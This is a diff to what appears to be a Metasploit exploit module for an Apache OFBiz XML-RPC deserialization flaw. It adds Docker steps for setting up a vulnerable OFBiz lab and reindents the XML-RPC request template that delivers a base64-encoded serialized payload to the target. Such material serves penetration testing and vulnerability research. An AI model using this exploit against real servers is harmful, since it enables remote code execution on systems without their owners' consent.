diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialiation.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialiation.md
index 1fe2594ce8..56504076ec 100644
--- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialiation.md
+++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialiation.md
@@ -10,6 +10,13 @@ versions prior to 17.12.04.
 
 You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
 
+1. Initialize the database with demo data (`INIT_DB=2`)
+    * `docker run --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
+1. Start a postgres instance
+    * `docker run --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -d postgres`
+1. Link the database and OFBiz containers
+    * `docker run -d -p 80:8080 -p 8443:8443 --link some-postgres:postgres opensourceknight/ofbiz:15.12`
+
 ## Verification Steps
 
 Follow [Setup](#setup) and [Scenarios](#scenarios).
diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb b/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
index 022582991e..d593bb4c2b 100644
--- a/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
+++ b/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
@@ -137,14 +137,21 @@ class MetasploitModule < Msf::Exploit::Remote
       'data' => Nokogiri::XML(<<~XML, &:noblanks).to_xml
         <?xml version="1.0"?>
         <methodCall>
-        <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
-        <params><param><value><struct><member>
-        <name>#{rand_text_alphanumeric(8..42)}</name>
-        <value>
-        <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"
-        >#{Rex::Text.encode_base64(data)}</serializable>
-        </value>
-        </member></struct></value></param></params>
+          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
+          <params>
+            <param>
+              <value>
+                <struct>
+                  <member>
+                  <name>#{rand_text_alphanumeric(8..42)}</name>
+                    <value>
+                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
+                    </value>
+                  </member>
+                </struct>
+              </value>
+            </param>
+          </params>
         </methodCall>
       XML
     )